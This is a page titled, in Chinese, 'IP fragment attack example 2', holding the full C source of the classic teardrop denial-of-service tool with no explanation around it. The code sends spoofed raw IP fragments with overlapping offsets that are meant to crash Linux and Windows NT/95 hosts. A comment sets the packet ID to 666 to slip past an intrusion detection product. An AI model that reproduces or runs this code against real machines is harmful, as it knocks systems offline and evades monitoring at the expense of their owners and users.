IP碎片攻击例子2

1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <unistd.h>
4. #include <string.h>
5. #include <netdb.h>
6. #include <netinet/in.h>
7. #include <netinet/udp.h>
8. #include <arpa/inet.h>
9. #include <sys/types.h>
10. #include <sys/time.h>
11. #include <sys/socket.h>
13. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
14.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
15. #define FIX(n)  (n)
16. #else                   /* OpenBSD 2.1, all Linux */
17. #define FIX(n)  htons(n)
18. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
20. #define IP_MF   0x2000  /* More IP fragment en route */
21. #define IPH     0x14    /* IP header size */
22. #define UDPH    0x8     /* UDP header size */
23. #define PADDING 0x1c    /* datagram frame padding for first packet */
24. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
25. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
26.                          * withstand maybe 5 or 10 sometimes...  Experiment.
27.                          */
28. void usage(u_char *);
29. u_long name_resolve(u_char *);
30. u_short in_cksum(u_short *, int);
31. void send_frags(int, u_long, u_long, u_short, u_short,long);
33. int main(int argc, char **argv)
34. {
35.     int one = 1, count = 0, i, rip_sock;
36.     u_long  src_ip = 0, dst_ip = 0;
37.     u_short src_prt = 0, dst_prt = 0;
38.     struct in_addr addr;
39.     long ip_mf;
41.     fprintf(stderr, "teardrop   route|daemon9//n//n");
43.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
44.     {
45.         perror("raw socket");
46.         exit(1);
47.     }
48.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
49.         < 0)
50.     {
51.         perror("IP_HDRINCL");
52.         exit(1);
53.     }
54.     if (argc < 3) usage(argv[0]);
55.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
56.     {
57.         fprintf(stderr, "What the hell kind of IP address is that?//n");
58.         exit(1);
59.     }
61.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
62.     {
63.         switch (i)
64.         {
65.             case 's':               /* source port (should be emphemeral) */
66.                 src_prt = (u_short)atoi(optarg);
67.                 break;
68.             case 't':               /* dest port (DNS, anyone?) */
69.                 dst_prt = (u_short)atoi(optarg);
70.                 break;
71.             case 'n':               /* number to send */
72.                 count   = atoi(optarg);
73.                 break;
74.             default :
75.                 usage(argv[0]);
76.                 break;              /* NOTREACHED */
77.         }
78.     }
79.     srandom((unsigned)(time((time_t)0)));
80.     if (!src_prt) src_prt = (random() % 0xffff);
81.     if (!dst_prt) dst_prt = (random() % 0xffff);
82.     if (!count)   count   = COUNT;
84.     fprintf(stderr, "Death on flaxen wings://n");
85.     addr.s_addr = src_ip;
86.     fprintf(stderr, "From: %15s.%5d//n", inet_ntoa(addr), src_prt);
87.     addr.s_addr = dst_ip;
88.     fprintf(stderr, "  To: %15s.%5d//n", inet_ntoa(addr), dst_prt);
89.     fprintf(stderr, " Amt: %5d//n", count);
90.     fprintf(stderr, "[ ");
91.     ip_mf = 0x2000;
92.     for (i = 0; i < COUNT; i++)
93.     {
94.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
95.         fprintf(stderr, "b00m:%x ",ip_mf);
96.         usleep(500);
97. ip_mf += 0x10;
98.     }
99.     fprintf(stderr, "]//n");
100.     return (0);
101. }
103. /*
104. *  Send two IP fragments with pathological offsets.  We use an implementation
105. *  independent way of assembling network packets that does not rely on any of
106. *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
107. */
109. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
110.                 u_short dst_prt, long ip_mf)
111. {
112.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
113.     u_char byte;                            /* a byte */
114.     struct sockaddr_in sin;                 /* socket protocol structure */
116.     sin.sin_family      = AF_INET;
117.     sin.sin_port        = src_prt;
118.     sin.sin_addr.s_addr = dst_ip;
120.     /*
121.      * Grab some memory for our packet, align p_ptr to point at the beginning
122.      * of our packet, and then fill it with zeros.
123.      */
124.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
125.     p_ptr  = packet;
126.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
128.     byte = 0x45;                        /* IP version and header length */
129.     memcpy(p_ptr, &byte, sizeof(u_char));
130.     p_ptr += 2;                         /* IP TOS (skipped) */
131.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
132.     p_ptr += 2;
133.     /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
134.     *((u_short *)p_ptr) = htons(666);   /* IP id */
135.     p_ptr += 2;
136.     *((u_short *)p_ptr) |= FIX(ip_mf);  /* IP frag flags and offset */
137.     p_ptr += 2;
138.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
139.     byte = IPPROTO_UDP;
140.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
141.     p_ptr += 4;                         /* IP checksum filled in by kernel */
142.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
143.     p_ptr += 4;
144.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
145.     p_ptr += 4;
146.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
147.     p_ptr += 2;
148.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
149.     p_ptr += 2;
150.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
152.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
153.                 sizeof(struct sockaddr)) == -1)
154.     {
155.         perror("//nsendto");
156.         free(packet);
157.         exit(1);
158.     }
160.     /*  We set the fragment offset to be inside of the previous packet's
161.      *  payload (it overlaps inside the previous packet) but do not include
162.      *  enough payload to cover complete the datagram.  Just the header will
163.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
164.      *  better.
165.      */
166.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
167.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
168.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
169.     *((u_short *)p_ptr) = FIX(MAGIC);
171.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
172.                 sizeof(struct sockaddr)) == -1)
173.     {
174.         perror("//nsendto");
175.         free(packet);
176.         exit(1);
177.     }
178.     free(packet);
179. }
181. u_long name_resolve(u_char *host_name)
182. {
183.     struct in_addr addr;
184.     struct hostent *host_ent;
186.     if ((addr.s_addr = inet_addr(host_name)) == -1)
187.     {
188.         if (!(host_ent = gethostbyname(host_name))) return (0);
189.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
190.     }
191.     return (addr.s_addr);
192. }
194. void usage(u_char *name)
195. {
196.     fprintf(stderr,
197.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]//n",
198.             name);
199.     exit(0);
200. }
201.